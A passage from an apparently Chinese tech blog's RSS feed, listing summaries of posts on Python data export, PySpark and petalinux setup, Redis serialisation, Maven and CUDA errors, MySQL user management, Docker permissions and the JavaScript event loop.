      <description>df1 = pd.DataFrame([[&#39;a&#39;, &#39;b&#39;], [&#39;c&#39;, &#39;d&#39;]], index=[&#39;row 1&#39;, &#39;row 2&#39;], columns=[&#39;col 1&#39;, &#39;col 2&#39;]) df1.to_excel(&#34;output.xlsx&#34;, engine=&#39;xlsxwriter&#39;) 原因：是没有项目没有默认安装 xlsxwriter库，所以需要自己安装即可；</description>
    </item>
    <item>
      <title>python将数据保存为pdf</title>
      <link>https://bchobby.github.io/posts/1668ec93ef39fee4229a617ea341d0d4/</link>
      <pubDate>Wed, 11 Mar 2020 19:29:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1668ec93ef39fee4229a617ea341d0d4/</guid>
      <description>今天给大家介绍一个python将数据保存为pdf的包：fpdf&#xA;安装代码为：pip install fpdf&#xA;我是用的是win10上的anaconda的python3.7版本&#xA;写一个简单的pdf代码 from fpdf import FPDF pdf = FPDF() #加一页 pdf.add_page() #设置字体的大小和字体 pdf.set_font(&#39;Arial&#39;, size=15) #加一个单元 pdf.cell(200, 10, txt=&#39;hello world&#39;, ln=1, align=&#39;C&#39;) #加一个新的单元格 pdf.cell(200, 10, txt=&#39;this is a article.&#39;, ln=2, align=&#39;C&#39;) pdf.output(&#39;test.pdf&#39;) 改字体 q:有人会问如果我想保存的pdf是A5大小的，怎么办？ A： 不用担心，因为这个可以设置， pdf = FPDF(orientation=&#39;P&#39;, unit=&#39;mm&#39;, format=&#39;A4&#39;) 这个包里内置了很多字体：&#xA;self.core_fonts={&#39;courier&#39;: &#39;Courier&#39;, &#39;courierB&#39;: &#39;Courier-Bold&#39;, &#39;courierBI&#39;: &#39;Courier-BoldOblique&#39;, &#39;courierI&#39;: &#39;Courier-Oblique&#39;, &#39;helvetica&#39;: &#39;Helvetica&#39;, &#39;helveticaB&#39;: &#39;Helvetica-Bold&#39;, &#39;helveticaBI&#39;: &#39;Helvetica-BoldOblique&#39;, &#39;helveticaI&#39;: &#39;Helvetica-Oblique&#39;, &#39;symbol&#39;: &#39;Symbol&#39;, &#39;times&#39;: &#39;Times-Roman&#39;, &#39;timesB&#39;: &#39;Times-Bold&#39;, &#39;timesBI&#39;: &#39;Times-BoldItalic&#39;, &#39;timesI&#39;: &#39;Times-Italic&#39;, &#39;zapfdingbats&#39;: &#39;ZapfDingbats&#39;} from fpdf import FPDF def change_fonts(): pdf = FPDF() pdf.</description>
    </item>
    <item>
      <title>用Pycharm搭建pyspark开发环境</title>
      <link>https://bchobby.github.io/posts/1f2940240098fe12d7a6fca3ef35f1ec/</link>
      <pubDate>Wed, 11 Mar 2020 17:26:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f2940240098fe12d7a6fca3ef35f1ec/</guid>
      <description>安装配置Anaconda 这个我就不自己写了，找了个很详细的Anaconda 的安装教程。&#xA;配置Hadoop 我们首先需要下载一个文件，我放到网盘网盘了如下所示。&#xA;链接：https://pan.baidu.com/s/1DSzClPJyM5s6MpNx9sv2fA 提取码：pbke 下载解压之后，就可以就配置HADOOP_HOME的环境变量了，我的电脑上是把文件都放在了E盘根目录下。&#xA;右键此电脑-&amp;gt;属性-&amp;gt;点击左边的高级系统设置-&amp;gt;环境变量-&amp;gt;点击系统变量下的新建。&#xA;配置Spark 然后就是配置SPARK_HOME的环境变量了，我的电脑上是吧文件都放在了E盘根目录下。&#xA;右键此电脑-&amp;gt;属性-&amp;gt;点击左边的高级系统设置-&amp;gt;环境变量-&amp;gt;点击系统变量下的新建。&#xA;PyCharm配置 保证anaconda已经安装完成，此时PyCharm中就可以创建conda的虚拟环境了。创建新项目，选Pure Python，然后选择Conda虚拟环境，python版本为3.7，设置名称后点击create。&#xA;然后点击左上角的File-&amp;gt;settings&#xA;点击右边的+号，添加py4j和pyspark以及psutil包，使用搜索栏查到包后点击Install Package即可。&#xA;点击下图中的倒三角后选择最后一个Show All…&#xA;点击下图标记1对应红色方框中的按钮，再点击标记2对应的新窗口右上角的+号把%SPARK_HOME%\python和%SPARK_HOME%\python\lib\py4j-0.10.8.1-src.zip添加到变量中即可，能看到我是已经添加过的。&#xA;测试Pyspark 在pycharm中新建py文件写入代码如下。&#xA;from pyspark import SparkContext sc = SparkContext(&#39;local&#39;) doc = sc.parallelize([[&#39;a&#39;, &#39;b&#39;, &#39;c&#39;], [&#39;b&#39;, &#39;d&#39;, &#39;d&#39;]]) words = doc.flatMap(lambda d: d).distinct().collect() word_dict = {w: i for w, i in zip(words, range(len(words)))} word_dict_b = sc.broadcast(word_dict) def wordCountPerDoc(d): dict_new = {} wd = word_dict_b.value for w in d: if wd[w] in dict_new: dict_new[wd[w]] += 1 else: dict_new[wd[w]] = 1 return dict_new print(doc.</description>
    </item>
    <item>
      <title>Spring Boot中混合使用StringRedisTemplate和RedisTemplate的坑</title>
      <link>https://bchobby.github.io/posts/aba0734c6a35d1a4be4e8a04d7bd1798/</link>
      <pubDate>Wed, 11 Mar 2020 16:01:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aba0734c6a35d1a4be4e8a04d7bd1798/</guid>
      <description>在《SpringBoot视频教程全家桶》系列教程中，我们分别讲解了StringRedisTemplate和RedisTemplate的使用和区别。&#xA;但在实践中，有朋友遇到这样的问题，就是存储到Redis数据取不到值。&#xA;两种Template的源码分析 这是为什么呢？是因为他同时使用了StringRedisTemplate和RedisTemplate在Redis中存储和读取数据。它们最重要的一个区别就是默认采用的序列化方式不同（在课程中已经讲到）。这里我们再来回顾一下相关源码，StringRedisTemplate的部分源码如下：&#xA;public class StringRedisTemplate extends RedisTemplate&amp;lt;String, String&amp;gt; { /** * Constructs a new &amp;lt;code&amp;gt;StringRedisTemplate&amp;lt;/code&amp;gt; instance. {@link #setConnectionFactory(RedisConnectionFactory)} * and {@link #afterPropertiesSet()} still need to be called. */ public StringRedisTemplate() { setKeySerializer(RedisSerializer.string()); setValueSerializer(RedisSerializer.string()); setHashKeySerializer(RedisSerializer.string()); setHashValueSerializer(RedisSerializer.string()); } } 通过该源码我们可以看到StringRedisTemplate采用的是RedisSerializer.string()来序列化Redis中存储数据的Key的。&#xA;下面再来看看RedisTemplate中默认采用什么形式来序列化对应的Key。&#xA;public class RedisTemplate&amp;lt;K, V&amp;gt; extends RedisAccessor implements RedisOperations&amp;lt;K, V&amp;gt;, BeanClassLoaderAware { // 省略其他源码 private @Nullable RedisSerializer&amp;lt;?&amp;gt; defaultSerializer; private @Nullable ClassLoader classLoader; /* * (non-Javadoc) * @see org.springframework.data.redis.core.RedisAccessor#afterPropertiesSet() */ @Override public void afterPropertiesSet() { super.</description>
    </item>
    <item>
      <title>ZYNQ QSPI FLASH启动系统的方法，包括各种错误的解决，petalinux的使用，vivado的使用，详细讲解（二）</title>
      <link>https://bchobby.github.io/posts/0b13753bd0f89234c176e310beab8f1b/</link>
      <pubDate>Wed, 11 Mar 2020 14:53:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b13753bd0f89234c176e310beab8f1b/</guid>
      <description>二、使用petalinux创建工程，生成u-boot，uimage&#xA;前面我们已经设置好了硬件资源，并配置了fsbl，现在我们将硬件资源和FSBL放到ubuntu中。&#xA;找到项目文件夹&#xA;将此文件夹放入ubuntu中，这里建议使用15版本的虚拟机，因为12版本的虚拟机从windows中拷贝文件到ubuntu中会出错、卡死。&#xA;进入ubuntu，启动petalinux&#xA;source ~/petalinux19.1/settings.sh&#xA;创建工程&#xA;petalinux-create -t project --template zynq --name csdn_test 将硬件资源导入，配置为工程&#xA;petalinux-config --get-hw-description=~/csdn_sys_wrapper_hw_platform_0 运行这条指令后会出现配置画面，你可以进行相关配置，我选择的是默认配置，只是把其中一个分区改打了一些，不改大分区，会导致分区重叠。&#xA;将0x20000 改为0x200000&#xA;配置完成后，保存（Save）然后退出。就会出现以下画面，代表配置成功。&#xA;编译项目&#xA;petalinux-build&#xA;注意：petalinux-build可能失败，可能是由于一些库没有安装到位，需要添加库，如何添加请看我那篇关于petalinux-build错误的文章。&#xA;petalinux-build的时间比较长，成功后会出现几个文件夹，如下图所示：&#xA;进入images文件夹，进入Linux文件夹，可以看到相关文件&#xA;现在我们将在SDK中生成的csdn_fsbl.elf 文件放到这个文件夹中&#xA;通过petalinux-package --boot --fsbl &amp;lt;FSBL image&amp;gt; --fpga &amp;lt;FPGA bitstream&amp;gt; --u-boot --kernel 命令可以生成BOOT.BIN文件，后面的–kernel表示生成的这个BOOT.BIN已经包含了uimage，可以直接启动系统。&#xA;将生成的BOOT.BIN复制到windows下，顺便把csdn_fsbl.elf文件也一起复制过去。&#xA;回到我们的SDK软件，准备开始烧写。&#xA;1、进入xilinx-----&amp;gt; Program FPGA&#xA;将FPGA文件烧录进去&#xA;2、进入xilinx-----&amp;gt; Program Flash 烧录BOOT.BIN 和csdn_fsbl.elf&#xA;烧录完成后，重启开发板，可以看到系统成功启动，并且掉电不会丢失，重启依然存在。&#xA;用户名和密码都是 root</description>
    </item>
    <item>
      <title>解决Maven打包报错Could not transfer artifact xxx.xxx找不到依赖的问题</title>
      <link>https://bchobby.github.io/posts/4fd7e487cbbc965177888584adc0f160/</link>
      <pubDate>Tue, 10 Mar 2020 22:38:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4fd7e487cbbc965177888584adc0f160/</guid>
      <description>概述 maven打包时，遇到奇怪的问题，setting文件指定了远程中央仓库为http://maven.aliyun.com/nexus/content/groups/public，正常情况下，仅当本地仓库没有pom或者jar文件时，才会去远程中央仓库下载。但在实际打包中，本地文件存在，却依旧从远程仓库去下载的问题。问题解决过程记录如下。&#xA;问题复述 Maven打包时，报错从远程仓库下载不到依赖文件。报错信息如下：&#xA;Could not transfer artifact org.apache.servicecomb:java-chassis-dependencies:pom:1.0.0.B003.47RC from/to nexus-aliyun (http://maven.aliyun.com/nexus/content/groups/public): sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target 奇怪的是，本地仓库路径下明明有对应的文件，为啥还要去远程仓库找。&#xA;解决方案： 将本地仓库对应目录下的_remote.repositories文件删除，然后重新maven clean install。&#xA;如果还报错，把lastUpdated文件也删除。</description>
    </item>
    <item>
      <title>Keil 软件的字体模糊显示不全的解决方法</title>
      <link>https://bchobby.github.io/posts/04741e43d79d056c3fb4664bc7e998df/</link>
      <pubDate>Tue, 10 Mar 2020 22:23:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04741e43d79d056c3fb4664bc7e998df/</guid>
      <description>——记录一下发现的几个关于字体的问题以及解决方案。&#xA;目录 1.界面字体模糊的问题2.代码中的中文注释显示乱码或显示“？？”的问题3.可选字体过少的问题 1.界面字体模糊的问题 Keil软件安装后会有字体模糊不清的问题，这个问题也普遍存在与其他软件，解决方法也很简单：右键属性-兼容性-更改高DPI设置-选中“替代高DPI缩放行为”即可。&#xA;引用博主廖BUG仙的文章&#xA;https://blog.csdn.net/qq_37416258/article/details/84838450&#xA;2.代码中的中文注释显示乱码或显示“？？”的问题 在添加中文注释时发现会有中文无法显示的问题，是由于解码造成的，只需将设置-Editor-Encoding中改为Chinese GB2312(Simplified)即可。&#xA;更改后效果：&#xA;3.可选字体过少的问题 由于软件默认限制了只能选择“monospaced”字体，只需将设置-Editor-最下面的Use monospaced font 去掉勾选即可。&#xA;这里我只用到了.asm文件，所以只对一项进行了更改&#xA;更改后效果：&#xA;微软雅黑等大部分字体已经可以使用</description>
    </item>
    <item>
      <title>智能手环开发之 实现蓝牙(BLE)基本功能</title>
      <link>https://bchobby.github.io/posts/1559326b29cfd6b0b9f3a5c28002c6c8/</link>
      <pubDate>Tue, 10 Mar 2020 22:18:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1559326b29cfd6b0b9f3a5c28002c6c8/</guid>
      <description>0.前言&#xA;随着医疗健康、可穿戴设备的发展，华为、小米、vivo等大厂都在做智能手环、手表等可穿戴设备。未来，蓝牙设备的开发也会越来越多。&#xA;关于蓝牙BLE起源发展，各种类型蓝牙芯片介绍，以及蓝牙手环的硬件开发等在之前的文章已经有过详细介绍。&#xA;本文主要介绍蓝牙手环开发中，如何构建一个最小的BLE系统框架，以及使用的模块。&#xA;总结一句话：能让芯片的蓝牙协议栈跑起来，手机能连接上蓝牙手环设备。&#xA;要让蓝牙功能跑起来，需要将注意力放在BLE开发的程序框架和模块的整体功能上，之后再深入学习各个模块。&#xA;1.BLE程序框架&#xA;智能手环的核心除了各种传感器算法，最重要的就是蓝牙了。一个BLE程序通常至少包含4个必要部分：系统初始化、启动、空闲管理和事件处理。如下图所示。&#xA;(1)系统初始化&#xA;这个系统初始化看起来很简单，小学生貌似都能懂，不就是初始化系统吗？&#xA;的确是初始化系统，那需要初始化什么呢？&#xA;a.日志打印初始化：说白了就是为了方便我这种开发狗看上电启动的Log信息以及后续输出调试信息。不是必须的，但很重要。&#xA;b.APP定时器初始化：初始化APP定时器，用于实现各种定时任务。很重要。&#xA;c.硬件初始化：如指示灯初始化、OLED屏幕初始化、电源管理初始化等。&#xA;d.BLE相关初始化：包含蓝牙协议栈初始化、广播、首选连接参数、GAP层、服务等初始化配置。这部分初始化完成后，整个BLE部分的程序就会按照我们自己设置的参数运行。&#xA;(2)启动&#xA;对于外围设备来说，如手环，启动的是广播，启动之后系统开始按照配置的广播间隔开始发送广播，等待中心设备连接，也就是等待手机连接。&#xA;对于中心设备（手机）而言，启动的是扫描，扫描周围的蓝牙设备。&#xA;(3)空闲管理&#xA;空闲管理说白了就是为了省电，实现低功耗。你戴个手环，总不希望天天充电吧。空闲管理就是在你不看手环时候让手环进入到低功耗模式。若有事件唤醒，如抬手腕亮屏等，就会恢复工作模式。&#xA;若程序中启用了日志打印功能，空闲管理还处理挂起的日志信息。&#xA;(4)事件处理&#xA;应用程序通过注册“事件监听”来监视BLE协议栈事件。开发过Android就比较容易理解，如Button就需要监听，看看Button是否按下等。&#xA;蓝牙中如外围设备和中心设备连接后，SoftDevice会提交 “连接事件”，应用程序会在事件处理函数中接收该事件并执行操作。&#xA;对于一开始接触蓝牙开发的人而言，看完这些感到一丝丝懵逼也是很正常的。开发过蓝牙的话，这些就很容易理解了。&#xA;没关系，下面开始实战。&#xA;本次开发选用 Nordic nRF52832蓝牙芯片，相关开发板某宝也有很多卖。关于Nordic芯片之前的文章有过介绍，翻阅历史文章。&#xA;2.先看Main函数&#xA;Main函数中主要调用各个模块的初始化函数，如硬件初始化、IIC屏幕初始化等，这些模块初始化本文暂不深入，主要是讲蓝牙架构。其中最重要的是蓝牙初始化。&#xA;弄懂了蓝牙初始化，蓝牙就能跑起来。&#xA;int main(void) { //Log 初始化 APP_ERROR_CHECK(NRF_LOG_INIT(NULL)); NRF_LOG_DEFAULT_BACKENDS_INIT(); NRF_LOG_INFO(&#34;log init ok.&#34;); NRF_LOG_FLUSH(); //硬件初始化，APP timer,led,power Manager等 my_ble_init_harder(); //twi初始化,iic设备扫描,iic_sacn.c iic_scan_address(); nrf_delay_ms(2000); //蓝牙初始化 my_ble_init(); } //蓝牙初始化函数 void my_ble_init(void) { NRF_LOG_INFO(&#34;Hello world BLE developer\n&#34;); NRF_LOG_INFO(&#34;BLE Template example:Log use uart as output terminal&#34;</description>
    </item>
    <item>
      <title>Could not load dynamic library &#39;cudart64_100.dll&#39;; dlerror: cudart64_100.dll not found</title>
      <link>https://bchobby.github.io/posts/840082c6b557e529647a684501550915/</link>
      <pubDate>Tue, 10 Mar 2020 21:48:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/840082c6b557e529647a684501550915/</guid>
      <description>问题： 1、Could not load dynamic library ‘cudart64_100.dll’; dlerror: cudart64_100.dll not found&#xA;2、Could not load dynamic library ‘cudart64_101.dll’; dlerror: cudart64_101.dll not found&#xA;背景： 安装tensorflow-gpu后，先用cmd命令窗口执行以下:&#xA;python&#xA;import tensorflow as tf 时出现类似上面的报错。后在PyCharm上直接试tensorflow-gpu是否能用，结果也报了上面的错误。&#xA;解决方法： 出现该问题的原因：&#xA;tensorflow-gpu的版本和cuda、cudnn版本不兼容问题，导致找不到相对于的文件。&#xA;上面两个问题实际上属于同一个问题类型，就是在以下路径中：&#xA;C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\bin 找不到对应的cudart64_100.dll或者cudart64_101.dll文件。所以，最直接的方法就是去下载缺少的文件，然后把它放在该文件夹就可以啦。&#xA;下载文件地址：https://cn.dll-files.com/&#xA;在网站中直接搜索对应缺少的文件，例如搜索“cudart64_100.dll”，下载后解压，把.dll文件放在：&#xA;C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\bin 额。。。如果又出现以下问题：&#xA;就不要一个一个下载了，有些文件网站里没有，也就只能老老实实重新安装cuda和cudnn了。这个网站为tensorflow-gpu+cuda+cudnn版本对应要求：&#xA;https://tensorflow.google.cn/install/source_windows#gpu&#xA;只有按照这个标准才能安装成功。&#xA;另外，如果 “pip install tensorflow-gpu==版本号” 出现time out ，可以先挂清华镜像，再下载，速度会快很多。清华镜像：&#xA;pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple 顺便总结一下，Windows10安装tensorflow-gpu版本的大致步骤：&#xA;Anaconda–&amp;gt;tensorflow-gpu–&amp;gt;cuda–&amp;gt;cudnn–&amp;gt;配置环境变量–&amp;gt;VC–&amp;gt;Pycharm</description>
    </item>
    <item>
      <title>你知道几个中文编程语言，快来瞧瞧这些有趣的中文编程语言。</title>
      <link>https://bchobby.github.io/posts/4ec11fc5fc45fe716df5912af66eda66/</link>
      <pubDate>Tue, 10 Mar 2020 16:03:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ec11fc5fc45fe716df5912af66eda66/</guid>
      <description>提到编程语言，我们所了解的也是比较广为人知的一些主流编程语言，如Java、C/C++、Python、PHP等。那除了这些编程语言，你有了解过中文编程语言吗？如果没有，那今天这篇文章就带你简单了解一些有趣的中文编程语言。&#xA;1、易语言&#xA;易语言可以说是中文编程语言的老大,拥有独立的编译器。易语言并不是把现存的编程工具进行表面汉化而成的，和其他国外语言相比，“易语言&#34;最大的不同是彻底中文化,且拥有自下而上的全部自主知识产权。&#xA;易语言的全新版本叫做“易语言.飞扬”,包含垃圾收集机制,是完全面向对象的中文编程语言：&#xA;和其他中文编程语言相比，它是最成熟的，而且同时具备了一套完整的开发环境。&#xA;2、习语言&#xA;习语言即中文版的C语言，由一套完备的编程语法和相配套的工具组成，旨在将计算机及软件编程大众化，普及化，中文化，提高程序的维护性而诞生。&#xA;习语言家族：&#xA;3、丙正正&#xA;丙正正是一个能令人使用中文开发程序的编译器，提出者为魏泽人。它是中文编程语言的尝试。丙正正会将含有中文的原始码变成可被gcc编译的[C+ + ]原始码,并透过宏定义(#define) ,达到完全使用中文开发程序的目的。后期的版本中,编译器gcc及除错器gdb传&#xA;回的变量名称,也会被翻成中文,以利于除错。&#xA;4、PerlYuYan&#xA;PerlYuYan是一个能令人使用中文文言文开发程式Perl程式的Perl模组，由唐凤于2002年一月发表，只花了两个小时就实作完成。它是中文编程语言的尝试。作者利用中文的特质，将许多指令改成以一个中国汉字来表示,因而造成了文言语法的感觉。&#xA;5、中蟒&#xA;中蟒是一套基于Python即时编译语言的中文编程语言。除了保留字，变量名称可用中文外，很多内建数据类型的操作都可用中文來进行。&#xA;6、周蟒&#xA;周蟒，又名zhpy，是一个轻量的，与Python 语言互相兼容的中文Python 语言。让使用者可以使 周蟒用纯中文语句（繁体或简体）来编写程式。目前主要适用于教学上。&#xA;7、O语言&#xA;O语言是一款中文计算机语言( 或称套装) , 包括O汇编语言、O中间语言和O高级语言等，其中窗口设计、界面描述语言、O中间语言 已经能很好的整合在一起。 https://m.weibo.cn/status/4436019342307734&#xA;O中间语言可以说是汇编语言的抽象，它和汇编语言-样， 使用单句的语法,除了基本的条件句和函数调用外,基本的一条指令对应一条语句，因此，它比C语言在语法上更低级一些。这样设计的目的是为了保持底层足够大的灵活性,使前端代码比较容易地映射到中间语言。C语言毋庯置疑是很强大, Pascal语言也非常强大,但是你很难将两者代码进行相互转换，如果使用中间语言作为中间层,就能够兼容两者的语法。&#xA;8、中文培基&#xA;中文培基是Basic语言的中文本地化版本(八十年代初就有了,不可思议吧，可是，第一门中文编程语言其实从七十年代就有了,其平台是DOS 。&#xA;其实，中文perl、中文Pascal、 中文Cobol、中文LOGO和中文Basic这些明显的本地化语言都是有的。&#xA;我觉得中文编程语言可以按照中文的深度这样两种:&#xA;01 本地化其它编程语言。比如上文介绍过的“丙正正”（题外话：为什么叫“丙正正”呢？因为原语言叫“C++”嘛……）。&#xA;02 汉语内核语言。包括“易语言”等。这种语言才能说是一门“真正的语言”，要不然只能说是语言+一个汉化包而已……&#xA;最后，来看一个轻松一点的。&#xA;以上就是对一些中文编程语言的简单介绍，所以以后在看到一些奇怪的编程语言名称，可不要以为是打错字了哦。</description>
    </item>
    <item>
      <title>用大白话讲清 -&gt; MySQL权限管理</title>
      <link>https://bchobby.github.io/posts/57f7f1a025ca46caa5b32da93ef0220e/</link>
      <pubDate>Mon, 09 Mar 2020 23:14:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57f7f1a025ca46caa5b32da93ef0220e/</guid>
      <description>1、权限管理的概念 SQL中DCL语句的增删改查与授权就是权限管理。一般的情况下，开发与测试都不会涉及到这方面的操作。通常是由DBA(数据库管理员)操作的，但是咱们必须要了解。MySQL中有mysql库，其中有张user表，这就是存放用户信息的。&#xA;2、管理用户 查询用户 -- 1. 切换到mysql数据库 USE myql; -- 2. 查询user表 SELECT * FROM USER; -- 3.Host列表示可以访问的主机，%号就表示可以在任意主机访问 查询用户结果 添加用户 -- 语法： CREATE USER &#39;用户名&#39;@&#39;主机名&#39; IDENTIFIED BY &#39;密码&#39;; --其中用户名是登录名，主机名是IP地址，并且@左右千万不能有空格，不然会报错 添加用户结果 删除用户 -- 语法： DROP USER &#39;用户名&#39;@&#39;主机名&#39;; 删除用户结果 修改用户密码 -- 修改密码的方法一： UPDATE USER SET PASSWORD = PASSWORD(&#39;新密码&#39;) WHERE USER = &#39;用户名&#39;; -- 修改密码的方法二： SET PASSWORD FOR &#39;用户名&#39;@&#39;主机名&#39; = PASSWORD(&#39;新密码&#39;); -- 这两个修改的效果是一样的，只是第一种更符合SQL语法规则，第二种是简化方式，看到这里应该都会了，不演示了 小技巧：我忘了root密码怎么办？ cmd – &amp;gt; net stop mysql 停止mysql服务（需要管理员运行该cmd）使用无验证方式启动mysql服务： mysqld --skip-grant-tables打开新的cmd窗口,直接输入mysql命令，敲回车。就可以登录成功use mysql;update user set password = password(‘你的新密码’) where user = ‘root’;关闭两个窗口打开任务管理器，手动结束mysqld.</description>
    </item>
    <item>
      <title>python 非线性规划（scipy.optimize.minimize）求解局部最优</title>
      <link>https://bchobby.github.io/posts/7a7ab8a1555f21ff40d74738e7d444fa/</link>
      <pubDate>Mon, 09 Mar 2020 14:48:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a7ab8a1555f21ff40d74738e7d444fa/</guid>
      <description># scipy.optimize.minimize(fun, x0, args=(), method=None, jac=None, hess=None, hessp=None, bounds=None, constraints=(), tol=None, callback=None, options=None) # 解释： # fun: 求最小值的目标函数 # x0:变量的初始猜测值，如果有多个变量，需要给每个变量一个初始猜测值。minimize是局部最优的解法 # args:常数值，fun中没有数字，都以变量的形式表示，对于常数项，需要在这里给值 # method:求极值的方法，官方文档给了很多种。一般使用默认 # constraints:约束条件，针对fun中为参数的部分进行约束限制 # 1.计算 1/x+x 的最小值 from scipy.optimize import minimize import numpy as np #计算 1/x+x 的最小值 def fun(args): a=args v=lambda x:a/x[0] +x[0] return v if __name__ == &#34;__main__&#34;: args = (1) #a x0 = np.asarray((1.4)) # 初始猜测值 res = minimize(fun(args), x0, method=&#39;SLSQP&#39;) print(res.fun) print(res.success) print(res.</description>
    </item>
    <item>
      <title>训练网络不收敛方法</title>
      <link>https://bchobby.github.io/posts/edcdac809e0cf0be9d99fa20d91fa50e/</link>
      <pubDate>Mon, 09 Mar 2020 08:35:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/edcdac809e0cf0be9d99fa20d91fa50e/</guid>
      <description>很多同学会发现，为什么我训练网络的时候loss一直居高不下或者准确度时高时低，震荡趋势，一会到11，一会又0.1，不收敛。 又不知如何解决，博主总结了自己训练经验和看到的一些方法。&#xA;首先你要保证训练的次数够多，不要以为一百两百次就会一直loss下降或者准确率一直提高，会有一点震荡的。只要总体收敛就行。若训练次数够多（一般上千次，上万次，或者几十个epoch）没收敛，则试试下面方法：&#xA;1. 数据和标签&#xA;数据分类标注是否准确？数据是否干净？数据库太小一般不会带来不收敛的问题，只要你一直在train总会收敛（rp问题跑飞了不算）。反而不收敛一般是由于样本的信息量太大导致网络不足以fit住整个样本空间。样本少只可能带来过拟合的问题&#xA;2. 学习率设定不合理&#xA;在自己训练新网络时，可以从0.1开始尝试，如果loss不下降的意思，那就降低，除以10，用0.01尝试，一般来说0.01会收敛，不行的话就用0.001. 学习率设置过大，很容易震荡。不过刚刚开始不建议把学习率设置过小，尤其是在训练的开始阶段。在开始阶段我们不能把学习率设置的太低否则loss不会收敛。我的做法是逐渐尝试，从0.1,0.08,0.06,0.05 ......逐渐减小直到正常为止，&#xA;有的时候候学习率太低走不出低估，把冲量提高也是一种方法，适当提高mini-batch值，使其波动不大。,&#xA;3.网络设定不合理&#xA;如果做很复杂的分类任务，却只用了很浅的网络，可能会导致训练难以收敛，换网络换网络换网络，重要的事情说三遍，或者也可以尝试加深当前网络。&#xA;4.数据集label的设置&#xA;检查lable是否有错，有的时候图像类别的label设置成1，2，3正确设置应该为0,1,2。&#xA;5、改变图片大小&#xA;博主看到一篇文章，说改变图片大小可以解决收敛问题，具体博主没试过，只看到有这个方法，具体文章链接：https://blog.csdn.net/Fighting_Dreamer/article/details/71498256&#xA;感兴趣的可以去看看。&#xA;6、数据归一化&#xA;神经网络中对数据进行归一化是不可忽略的步骤，网络能不能正常工作，还得看你有没有做归一化，一般来讲，归一化就是减去数据平均值除以标准差，通常是针对每个输入和输出特征进行归一化&#xA;————————————————&#xA;版权声明：本文为CSDN博主「搞视觉的张小凡」的原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接及本声明。&#xA;原文链接：https://blog.csdn.net/comway_Li/article/details/81878400</description>
    </item>
    <item>
      <title>几道面试题来看JavaScript执行机制</title>
      <link>https://bchobby.github.io/posts/4bf00740954c23af8248ae38a7394a55/</link>
      <pubDate>Sun, 08 Mar 2020 22:32:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4bf00740954c23af8248ae38a7394a55/</guid>
      <description>几道常见面试题来看 JavaScript 执行机制&#xA;前面的话 根据 JavaScript 的运行环境，锁定它为单线程，任务需要排队执行，如果网站资源比较大，这样会导致浏览器加载会很慢，但实际上并没有，大家肯定立刻想到了同步和异步。&#xA;所谓的同步和异步也是在排队，只是排队的地方不同。&#xA;同步和异步 同步任务进入主线程排队，异步任务进入事件队列中排队&#xA;同步任务和异步任务进入到不同的队列中，也就是上面讲的在不同地方排队。&#xA;同步任务进入主线程，异步任务进入事件队列，主线程任务执行完毕，事件队列中有等待执行的任务进入主线程执行，直到事件队列中任务全部执行完毕。&#xA;开胃菜 console.log(&#39;a&#39;) setTimeout(function(){ console.log(&#39;b&#39;) }, 200) setTimeout(function(){ console.log(&#39;c&#39;) }, 0) console.log(&#39;d&#39;) 结果：a d c b&#xA;从上到下，该进入主线程的进入主线程，该进入事件队列的进入事件队列。&#xA;那么主线程中存在 console.log(&#39;a&#39;) 和 console.log(&#39;d&#39;)，定时器 setTimeout 延迟一段时间执行，顾名思义异步任务进入事件队列中，等待主线程任务执行完毕，再进入主线程执行。&#xA;定时器的延迟时间为 0 并不是立刻执行，只是代表相比于其他定时器更早的进入主线程中执行。&#xA;加一盘 for(var i = 0; i &amp;lt; 10; i++) { setTimeout(function() { console.log(i) }, 1000) } 结果：十个10&#xA;每次 for 循环遇到 setTimeout 将其放入事件队列中等待执行，直到全部循环结束，i 作为全局变量当循环结束后 i = 10 ，再来执行 setTimeout 时 i 的值已经为 10 ， 结果为十个10。</description>
    </item>
    <item>
      <title>docker 命令报异常permission denied</title>
      <link>https://bchobby.github.io/posts/5d39b1f3a653a9204ca55f467861f3af/</link>
      <pubDate>Sun, 08 Mar 2020 17:36:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d39b1f3a653a9204ca55f467861f3af/</guid>
      <description>在Linux系统中，新安装docker，输入命令，如：docker images&#xA;结果却报异常了&#xA;简单理解就是当前用户的连接被拒绝了&#xA;解决方案一：&#xA;使用管理员权限，命令前加sudo&#xA;解决方案二：&#xA;给当前用户加入到docker用户组中&#xA;sudo groupadd docker #添加docker用户组，这个用户组应该是已存在了&#xA;sudo gpasswd -a $USER docker #将当前用户加入到docker用户组中&#xA;newgrp docker #更新用户组docker&#xA;再执行 docker images&#xA;这个就可以正常使用了</description>
    </item>
    <item>
      <title>C语言：计算器程序。用户输入运算数和四则运算符，输出计算结果</title>
      <link>https://bchobby.github.io/posts/21f7f5fc8406eac9f65a815bcdd47d81/</link>
      <pubDate>Sun, 08 Mar 2020 11:04:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21f7f5fc8406eac9f65a815bcdd47d81/</guid>
